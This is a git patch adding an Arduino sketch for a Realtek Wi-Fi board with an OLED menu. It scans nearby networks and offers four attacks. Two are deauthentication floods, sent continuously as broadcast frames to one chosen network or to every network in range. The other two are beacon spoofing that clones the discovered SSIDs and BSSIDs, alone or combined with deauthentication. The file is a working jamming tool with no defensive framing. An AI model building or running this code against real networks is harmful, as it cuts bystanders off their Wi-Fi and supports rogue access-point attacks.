From 54affa551a24c42fda7fcdd9b4f8acd5521f9e4d Mon Sep 17 00:00:00 2001
From: warwick320 <sihu687@gmail.com>
Date: Mon, 9 Dec 2024 18:21:44 +0900
Subject: [PATCH] Add files via upload

---
 oled_deauther.ino | 454 ++++++++++++++++++++++++++++++++++++++++++++++
 1 file changed, 454 insertions(+)
 create mode 100644 oled_deauther.ino

diff --git a/oled_deauther.ino b/oled_deauther.ino
new file mode 100644
index 0000000..e2f45b8
--- /dev/null
+++ b/oled_deauther.ino
@@ -0,0 +1,454 @@
+// Oled code made by warwick320
+
+#undef max
+#undef min
+#include "vector"
+#include "wifi_conf.h"
+#include "map"
+#include "wifi_cust_tx.h"
+#include "wifi_util.h"
+#include "wifi_structures.h"
+#include "debug.h"
+#include "WiFi.h"
+#include "WiFiServer.h"
+#include "WiFiClient.h"
+#include <Wire.h>              
+#include <Adafruit_GFX.h>      
+#include <Adafruit_SSD1306.h>
+#define SCREEN_WIDTH 128
+#define SCREEN_HEIGHT 64
+#define OLED_RESET -1
+#define BTN_DOWN PA12
+#define BTN_UP PA27
+#define BTN_OK PA13
+Adafruit_SSD1306 display(SCREEN_WIDTH, SCREEN_HEIGHT, &Wire, OLED_RESET);
+typedef struct {
+  String ssid;
+  String bssid_str;
+  uint8_t bssid[6];
+  
+  short rssi;
+  uint channel;
+} WiFiScanResult;
+char *ssid = "Warwick";
+char *pass = "warwickisbest";
+int current_channel = 1;
+std::vector<WiFiScanResult> scan_results;
+WiFiServer server(80);
+bool deauth_running = false;
+uint8_t deauth_bssid[6];
+uint8_t becaon_bssid[6];
+uint16_t deauth_reason;
+rtw_result_t scanResultHandler(rtw_scan_handler_result_t *scan_result) {
+  rtw_scan_result_t *record;
+  if (scan_result->scan_complete == 0) { 
+    record = &scan_result->ap_details;
+    record->SSID.val[record->SSID.len] = 0;
+    WiFiScanResult result;
+    result.ssid = String((const char*) record->SSID.val);
+    result.channel = record->channel;
+    result.rssi = record->signal_strength;
+    memcpy(&result.bssid, &record->BSSID, 6);
+    char bssid_str[] = "XX:XX:XX:XX:XX:XX";
+    snprintf(bssid_str, sizeof(bssid_str), "%02X:%02X:%02X:%02X:%02X:%02X", result.bssid[0], result.bssid[1], result.bssid[2], result.bssid[3], result.bssid[4], result.bssid[5]);
+    result.bssid_str = bssid_str;
+    scan_results.push_back(result);
+  }
+  return RTW_SUCCESS;
+}
+int scanNetworks() {
+  DEBUG_SER_PRINT("Scanning WiFi networks (5s)...");
+  scan_results.clear();
+  if (wifi_scan_networks(scanResultHandler, NULL) == RTW_SUCCESS) {
+    delay(5000);
+    DEBUG_SER_PRINT(" done!\n");
+    return 0;
+  } else {
+    DEBUG_SER_PRINT(" failed!\n");
+    return 1;
+  }
+}
+String SelectedSSID;
+String SSIDCh;
+void setup(){
+  pinMode(BTN_DOWN, INPUT_PULLUP);
+  pinMode(BTN_UP, INPUT_PULLUP);
+  pinMode(BTN_OK, INPUT_PULLUP);
+  Serial.begin(115200);
+  if (!display.begin(SSD1306_SWITCHCAPVCC, 0x3C)) {
+    Serial.println(F("SSD1306 init failed"));
+    while (true);  
+  }
+  display.clearDisplay();
+  display.setTextSize(1);
+  display.setTextColor(SSD1306_WHITE);
+  display.setCursor(20,20);
+  display.println("Scanning..");
+  display.setCursor(20,35);
+  display.println("by warwick320");
+  display.display();
+  DEBUG_SER_INIT();
+  WiFi.apbegin(ssid, pass, (char *) String(current_channel).c_str());
+  if (scanNetworks() != 0) {
+    while(true) delay(1000);
+  }
+
+  #ifdef DEBUG
+  for (uint i = 0; i < scan_results.size(); i++) {
+    DEBUG_SER_PRINT(scan_results[i].ssid + " ");
+    for (int j = 0; j < 6; j++) {
+      if (j > 0) DEBUG_SER_PRINT(":");
+      DEBUG_SER_PRINT(scan_results[i].bssid[j], HEX);
+    }
+    DEBUG_SER_PRINT(" " + String(scan_results[i].channel) + " ");
+    DEBUG_SER_PRINT(String(scan_results[i].rssi) + "\n");
+  }
+  #endif
+  SelectedSSID = scan_results[0].ssid;
+  SSIDCh = scan_results[0].channel >= 36 ? "5G" : "2.4G";
+}
+int attackstate = 0;
+int menustate = 0;
+bool menuscroll = true;
+bool okstate = true;
+int scrollindex = 0;
+int perdeauth = 3;
+//uint8_t becaon_bssid[6];
+void drawssid(){
+  while(true){
+    if(digitalRead(BTN_OK)==LOW){
+      delay(150);
+      break;
+    }
+    if(digitalRead(BTN_UP)==LOW){
+      delay(150);
+      if(scrollindex < scan_results.size()){
+        scrollindex++;
+      }
+      SelectedSSID = scan_results[scrollindex].ssid;
+      SSIDCh = scan_results[scrollindex].channel >= 36 ? "5G" : "2.4G";
+    }
+    if(digitalRead(BTN_DOWN)==LOW){
+      delay(150);
+      if(scrollindex > 0){
+        scrollindex--;
+      }
+      SelectedSSID = scan_results[scrollindex].ssid;
+      SSIDCh = scan_results[scrollindex].channel >= 36 ? "5G" : "2.4G";
+    }
+    display.clearDisplay();
+    display.setTextSize(1);
+    display.setTextColor(SSD1306_WHITE);
+    display.setCursor(5, 25);
+    if (SelectedSSID.length()==0){
+      display.print("#HIDDEN#");
+    }
+    else if(SelectedSSID.length() > 13){
+      SelectedSSID = SelectedSSID.substring(0,13) + "...";
+      display.print(SelectedSSID);
+
+    }
+    else display.print(SelectedSSID);
+    display.setCursor(5, 10);
+    display.print(SSIDCh);
+    display.display();
+  }
+}
+void drawscan(){
+  while(true){
+    display.clearDisplay();
+    display.setTextColor(SSD1306_WHITE);
+    display.setTextSize(1);
+    display.print("Scanning..(3~5s)");
+    display.display();  
+    if (scanNetworks() != 0) {
+      while(true) delay(1000);
+    }
+    Serial.print("Done");
+    display.clearDisplay();
+    display.setCursor(5, 25);
+    display.print("Done");
+    display.display();
+    delay(300);
+    break;
+  }
+}
+void Single(){
+  display.clearDisplay();
+  display.setTextColor(SSD1306_WHITE);
+  display.setTextSize(1);
+  display.setCursor(5, 25);
+  display.println("Single Attacking...");
+  display.display();
+  while(true){
+    memcpy(deauth_bssid,scan_results[scrollindex].bssid,6);
+    wext_set_channel(WLAN0_NAME,scan_results[scrollindex].channel);
+    if(digitalRead(BTN_OK)==LOW){
+      delay(100);
+      break;
+    }
+    deauth_reason = 1;
+    wifi_tx_deauth_frame(deauth_bssid, (void *) "\xFF\xFF\xFF\xFF\xFF\xFF", deauth_reason);
+    deauth_reason = 4;
+    wifi_tx_deauth_frame(deauth_bssid, (void *) "\xFF\xFF\xFF\xFF\xFF\xFF", deauth_reason);
+    deauth_reason = 16;
+    wifi_tx_deauth_frame(deauth_bssid, (void *) "\xFF\xFF\xFF\xFF\xFF\xFF", deauth_reason);
+  }
+}
+void All(){
+  display.clearDisplay();
+  display.setTextColor(SSD1306_WHITE);
+  display.setTextSize(1);
+  display.setCursor(5, 25);
+  display.println("All Attacking...");
+  display.display();
+  while (true){
+    for(int i = 0; i<scan_results.size();i++){
+      if(digitalRead(BTN_OK)==LOW){
+        delay(100);
+        break;
+      }
+      memcpy(deauth_bssid,scan_results[i].bssid,6);
+      wext_set_channel(WLAN0_NAME,scan_results[i].channel);
+      for(int x=0;x < perdeauth; x++){
+        deauth_reason = 1;
+        wifi_tx_deauth_frame(deauth_bssid, (void *) "\xFF\xFF\xFF\xFF\xFF\xFF", deauth_reason);
+        deauth_reason = 4;
+        wifi_tx_deauth_frame(deauth_bssid, (void *) "\xFF\xFF\xFF\xFF\xFF\xFF", deauth_reason);
+        deauth_reason = 16;
+        wifi_tx_deauth_frame(deauth_bssid, (void *) "\xFF\xFF\xFF\xFF\xFF\xFF", deauth_reason);
+      }
+    }
+  }
+}
+void BecaonDeauth(){
+  display.clearDisplay();
+  display.setTextColor(SSD1306_WHITE);
+  display.setTextSize(1);
+  display.setCursor(5, 25);
+  display.println("Becaon&Deauth Attacking...");
+  display.display();
+  while(true){
+    for(int i = 0; i<scan_results.size();i++){
+      String ssid1 = scan_results[i].ssid;
+      const char * ssid1_cstr =ssid1.c_str();
+      memcpy(becaon_bssid,scan_results[i].bssid,6);
+      memcpy(deauth_bssid,scan_results[i].bssid,6);
+      wext_set_channel(WLAN0_NAME,scan_results[i].channel);
+      for(int x=0;x < 10;x++){
+        wifi_tx_beacon_frame(becaon_bssid,(void *) "\xFF\xFF\xFF\xFF\xFF\xFF",ssid1_cstr);
+        wifi_tx_deauth_frame(deauth_bssid,(void *) "\xFF\xFF\xFF\xFF\xFF\xFF",0);
+      }    
+    }
+  }
+}
+void Becaon(){
+  display.clearDisplay();
+  display.setTextColor(SSD1306_WHITE);
+  display.setTextSize(1);
+  display.setCursor(5, 25);
+  display.println("Becaon Attacking...");
+  display.display();
+  while(true){
+    for(int i = 0; i<scan_results.size();i++){
+      String ssid1 = scan_results[i].ssid;
+      const char * ssid1_cstr =ssid1.c_str();
+      memcpy(becaon_bssid,scan_results[i].bssid,6);  
+      wext_set_channel(WLAN0_NAME,scan_results[i].channel);
+      for(int x=0;x < 10;x++){
+        wifi_tx_beacon_frame(becaon_bssid,(void *) "\xFF\xFF\xFF\xFF\xFF\xFF",ssid1_cstr);
+      }
+    }    
+  }
+}
+void drawattack(){
+  while(true){
+    if(digitalRead(BTN_OK)==LOW){
+      delay(150);
+      if(attackstate == 0){
+        Single();
+        break;
+      }
+      if(attackstate == 1){
+        All();
+        break;
+      }
+      if(attackstate == 2){
+        Becaon();
+        break;
+      }
+      if(attackstate == 3){
+        BecaonDeauth();
+        break;
+      }
+      if(attackstate == 4){
+        break;
+      }
+    }
+    if(digitalRead(BTN_DOWN)==LOW){
+      delay(120);
+      if(attackstate > 0){
+        attackstate--;
+      }
+    }
+    if(digitalRead(BTN_UP)==LOW){
+      delay(120);
+      if(attackstate < 4){
+        attackstate++;
+      }
+    }
+    if (attackstate == 0){
+      delay(50);
+      display.clearDisplay();
+      display.setTextSize(1);
+      display.setCursor(5, 5);
+      selectedmenu("Single Deauth Attack");
+      display.setCursor(5, 15);
+      display.println("All Deauth Attack");
+      display.setCursor(5, 25);
+      display.println("Becaon Attack");
+      display.setCursor(5, 35);
+      display.println("Becaon&Deauth Attack");
+      display.setCursor(5, 45);
+      display.println("< Back >");
+      display.display();
+    }
+    if (attackstate == 1){
+      delay(50);
+      display.clearDisplay();
+      display.setTextSize(1);
+      display.setCursor(5, 5);
+      display.println("Single Deauth Attack");
+      display.setCursor(5, 15);
+      selectedmenu("All Deauth Attack");
+      display.setCursor(5, 25);
+      display.println("Becaon Attack");
+      display.setCursor(5, 35);
+      display.println("Becaon&Deauth Attack");
+      display.setCursor(5, 45);
+      display.println("< Back >");
+      display.display();
+    }
+    if (attackstate == 2){
+      delay(50);
+      display.clearDisplay();
+      display.setTextSize(1);
+      display.setCursor(5, 5);
+      display.println("Single Deauth Attack");
+      display.setCursor(5, 15);
+      display.println("All Deauth Attack");
+      display.setCursor(5, 25);
+      selectedmenu("Becaon Attack");
+      display.setCursor(5, 35);
+      display.println("Becaon&Deauth Attack");
+      display.setCursor(5, 45);
+      display.println("< Back >");
+      display.display();
+    }
+    if (attackstate == 3){
+      delay(50);
+      display.clearDisplay();
+      display.setTextSize(1);
+      display.setCursor(5, 5);
+      display.println("Single Deauth Attack");
+      display.setCursor(5, 15);
+      display.println("All Deauth Attack");
+      display.setCursor(5, 25);
+      display.println("Becaon Attack");
+      display.setCursor(5, 35);
+      selectedmenu("Becaon&Deauth Attack");
+      display.setCursor(5, 45);
+      display.println("< Back >");
+      display.display();
+    }
+    if (attackstate == 4){
+      delay(50);
+      display.clearDisplay();
+      display.setTextSize(1);
+      display.setCursor(5, 5);
+      display.println("Single Deauth Attack");
+      display.setCursor(5, 15);
+      display.println("All Deauth Attack");
+      display.setCursor(5, 25);
+      display.println("Becaon Attack");
+      display.setCursor(5, 35);
+      display.println("Becaon&Deauth Attack");
+      display.setCursor(5, 45);
+      selectedmenu("< Back >");
+      display.display();
+    }
+  }
+}
+void selectedmenu(String text){
+  display.setTextColor(SSD1306_BLACK,SSD1306_WHITE);
+  display.println(text);
+  display.setTextColor(SSD1306_WHITE,SSD1306_BLACK);
+}
+void loop(){
+  if(menustate == 0){
+    delay(50);
+    display.clearDisplay();
+    display.setTextSize(1.7);
+    display.setCursor(5, 10);
+    selectedmenu("Attack");
+    display.setCursor(5, 25);
+    display.println("Scan");
+    display.setCursor(5, 40);
+    display.println("Select");
+    display.display();
+  }
+  if(menustate == 1){
+    delay(50);
+    display.clearDisplay();
+    display.setTextSize(1.7);
+    display.setCursor(5, 10);
+    display.println("Attack");
+    display.setCursor(5, 25);
+    selectedmenu("Scan");
+    display.setCursor(5, 40);
+    display.println("Select");
+    display.display();
+  }
+  if(menustate == 2){
+    delay(50);
+    display.clearDisplay();
+    display.setTextSize(1.7);
+    display.setCursor(5, 10);
+    display.println("Attack");
+    display.setCursor(5, 25);
+    display.println("Scan");
+    display.setCursor(5, 40);
+    selectedmenu("Select");
+    display.display();
+  }
+  if(digitalRead(BTN_OK)==LOW){
+    delay(150);
+    if(okstate){
+      if(menustate== 0){
+        drawattack();
+      }
+      if(menustate== 1){
+        drawscan();
+      }
+      if(menustate== 2){
+        drawssid();
+      }
+    }
+  }
+  if(digitalRead(BTN_DOWN)==LOW){
+    delay(150); 
+    if(menuscroll){
+      if(menustate > 0){
+        menustate--;
+      }
+    }
+  }
+  if(digitalRead(BTN_UP)==LOW){
+    delay(150);
+    if(menuscroll){
+      if(menustate < 2){
+        menustate++;
+      }
+    }
+  }
+}